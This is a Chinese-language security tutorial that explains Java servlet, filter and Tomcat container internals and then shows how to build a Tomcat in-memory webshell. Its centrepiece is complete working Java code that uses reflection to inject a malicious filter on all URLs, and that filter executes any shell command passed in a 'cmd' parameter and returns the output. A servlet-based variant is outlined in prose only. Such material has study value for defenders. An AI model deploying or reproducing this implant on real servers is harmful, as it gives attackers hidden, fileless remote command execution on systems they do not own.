1. 前置知识
1.1 java web 核心组件
首先我们得知道,java网站都一定会有一个web容器。listener、filter、servlet都是在web.xml中配置的。
参考:web.xml配置详解
listener
本质是一个java类。
作用是监听Application、Session和Request三大对象创建或者删除,然后根据监听的结果来执行提前编写的代码。
可以简单的理解成当发生某个行为的时候,触发某段代码的执行。
filter
本质是一个java类。 是由容器进行调度和执行的。
接收来自客户端的web请求并对其进行必要的修改和内容判断。 可以简单的理解成对接收到的请求进行格式化,修改成后面servlet所需要的数据格式。
假设客户端发过来的数据是“姓名=张三” 。某个filter的作用可能就是将“姓名=张三“改成”姓名=张三ZHANGSAN“ ,然后发送给处理数据的servlet。
如果没有filter存在,那么请求将会直接发给servlet。可以个servlet在web.xml中配置多个filter。当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象是通过 Filter.doFilter 方法的参数传递进来的,是根据web.xml中注册的所有filter来生成的。
只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
filter的生命周期
与servlet一样,Filter的创建和销毁也由web容器负责。 web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次) 。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁 。销毁函数会在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
filter链
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain,然后调用filterchain中其他filter的filter.doFilter方法。
servlet
本质是一个java类。 是由容器进行调度和执行的。
是处理数据的模块。里面有一个函数services,这个函数是servlet的核心代码,实现servlet的核心功能。
所有servlet在第一次被访问的时候会创建,直到服务器关闭的时候才会被销毁。
2. tomcat
tomcat本质是web服务器和servlet容器的集合体,与客户端交互的流程大致如下:
tomcat容器要完成的任务很简单,就是要能够提供一个接口让其它程序能够访问到 Service 集合,同时要维护所包含的所有 Service 的生命周期,包括如何初始化、如何结束服务、如何找到别人要访问它的 Service。还有一些次要的任务,如记录Service运行日志,维护Session等等。
2.1 核心组件
1. connector组件
tomcat通过connecter组件实现与客户端的网络连接,通过container组件实现数据与servlet的交互。一个tomcat中可以有很多个service,其中默认的service叫做catalina。一个service可以有多个connector,但只能有一个container。 每个service支持很多协议,例如http1或http2,不同的协议对应不同的connector。客户端通过不同的协议请求服务,其实就是将请求发送给对应协议的connector。
2. container组件
-
Engine(引擎) 负责处理来自相关联的service的所有请求,处理后,将结果返回给service,而connector是作为service与engine的中间媒介出现的。Engine的细节会在$CATALINA_HOME/conf/server.xml 中进行配置。 一个engine下可以配置一个默认主机,每个虚拟主机都有一个域名。当engine获得一个请求时,它把该请求匹配到虚拟主机(host)上,然后把请求交给该主机来处理。 Engine有一个默认主机,当请求无法匹配到任何一个虚拟主机时,将交给默认host来处理。Engine以线程的方式启动Host。 -
Host 代表一个虚拟主机,每个虚拟主机和某个网络域名(Domain Name)相匹配,host的细节会在$CATALINA_HOME/conf/server.xml 中进行配置。 每个虚拟主机下都可以部署一个或多个web应用,每个web应用对应于一个context,有一个context path。 当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==””的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。 -
Context 一个Context对应于一个Web应用,Context的细节会在$CATALINA_HOME/conf/server.xml 中进行配置,当tomcat版本大于5.5 时,就会在单独的$CATALINA_HOME/conf/context.xml 中进行配置。一个Web应用由一个或者多个Servlet组成Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml 和$ WEBAPP_HOME/WEB-INF/web.xml 载入Servlet类。当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类,如果找到,则执行该类,获得请求的回应,并返回。 -
Wrapper Wrapper 代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。 Wrapper 的实现类是 StandardWrapper,StandardWrapper 还实现了拥有一个 Servlet 初始化信息的 ServletConfig,由此看出 StandardWrapper 将直接和 Servlet 的各种信息打交道。
StandardContext 实现了类加载器、session管理、wrapper管理等模块,在启动时顺序启动这些模块。在请求进入时,由这些模块互相合作处理请求。
3. java反射
通过java反射机制可以修改已经实例化的对象的参数。
import sun.font.TrueTypeFont;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Apple {
private int price=2;
private int test=11;
public int getPrice() {
return price;
}
public void setPrice(int price) {
this.price = price;
}
public static void main(String[] args) throws Exception{
//正常的调用
System.out.println("创建apple1对象");
Apple apple1 = new Apple();
System.out.println("利用内置函数将私有变量private的值设置为5");
apple1.setPrice(5);
System.out.println("通过apple1对象的内置函数读取price的值为:" + apple1.getPrice());
Field b = apple1.getClass().getDeclaredField("price");
Field c = apple1.getClass().getDeclaredField("test");
System.out.println("通过反射机制修改apple1对象的私有变量price的值为3");
b.set(apple1,3);
System.out.println("修改后直接读取price的值为"+b.get(apple1));
System.out.println("通过apple1对象的内置函数读取price的值为:" + apple1.getPrice());
System.out.println("直接读取私有变量test的值为"+c.get(apple1));
System.out.println("综上,通过反射机制修改了已经实例化的对象的值。");
}
}
4. 其他知识
-
web应用启动的时候,会产生ServletContext 对象,每个web应用都会有自己的ServletContext 对象,123.123.123.123/user是一个web应用,123.123.123.123/news也是一个web对象。 -
使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的对象,任何人都可以使用request.getServletContext()获取servletcontext。 -
ServletContext 其实是一个接口,这个接口的实现是ApplicationContext 类。StandardContext对象其实也就是ApplicationContext对象。 -
ApplicationContext中有一个私有变量叫做StandardContext,StandardContext类的对象可以动态创建servlet和servlet的映射,也可以通过修改参数来添加filter到filterchain。 -
如果能通过反射调用StandardContext对象中的函数,那么就能制造filter与servlet类型的内存吗。
2. 实现tomcat内存马
2.1 filter型
一句话总结就是想办法在内存中写入一个恶意filter并与某个url绑定。 request进入container后会与engine、host、context、wrapper交互,其实是与他们中的的pipeline-valve进行交互。等engine、host、context、wrapper中每一个valve都执行完的时候,也就是当wrapper最后一个valve,StandarWrapperValve执行结束的时候,会生成一个filterchain 。接着filterchain中的filter会依次执行自己的dofilter函数。如果我们可以在filterchain中加入一个恶意的filter即可实现命令执行。
filterchain是怎么来的
filterChain是ApplicationFilterFactory.createFilterChain 函数的返回值。
如何控制filterchain的内容
进入ApplicationFilterFactory.createFilterChain函数 我们发现所有的filter被放在了一个名为filterMaps的数组中,StandardContext.findFilterMaps()函数会返回这个数组,这个数组filtermaps中存储的是url跟filter的映射关系 :
filterMaps是StandardContext对象中的数据
并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,filterConfigs是StandardContext对象中的数据 ,是否存在对应filter的实例,当实例不为空时通过filterchain.addfilter(Filterconfig)函数来将FilterConfig对应的filter添加到filterchain中。
filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig 对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。
filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系
所以要添加filter的话要满足以下条件:
- filtermap中url与filter互相匹配,也就意味着需要修改StandardContext中fitermap的值。
- filterconfig中必须存在对应的filter实例,也就意味着需要修改StandardContext中filterconfig的值。
- filterconfig包含filterdef这个参数,也就意味着想修改filterconfig也就需要filterdef参数。
具体修改filterchain值的方法
代码如下
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
Field Configs = null;
Map filterConfigs;
try {
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
2.2 servlet型
一句话就是想办法在内存中写入一个恶意servlet并与某个url绑定。
逻辑:
-
使用request.getServletContext()函数会得ServletContext,它本质是ApplicationContextFacade类的实例,任何用户都可以使用request.getServletContext()函数获取到ServletContext。 -
ApplicationContextFacade类中封装有ApplicationContext类的私有对象,这个私有对象名为context。 -
ApplicationContext中有StandardContext类的私有对象,名为context。 -
StandardContext类的对象可以动态创建servlet和servlet的映射。 -
综上,任意用户都可以通过反射机制调用StandardContext类的对象来动态创建servlet和servlet的映射。
代码逻辑
获取StandardContext 以及创建Servlet包装类。
添加Servlet到StandardContext并初始化Servlet。
3. 参考文章
一文看懂内存马 浅谈哥斯拉内存马 Java Filter型内存马的学习与实践 Java安全之基于Tomcat实现内存马 tomcat host 及context配置 详解tomcat配置文件server.xml web.xml配置详解
|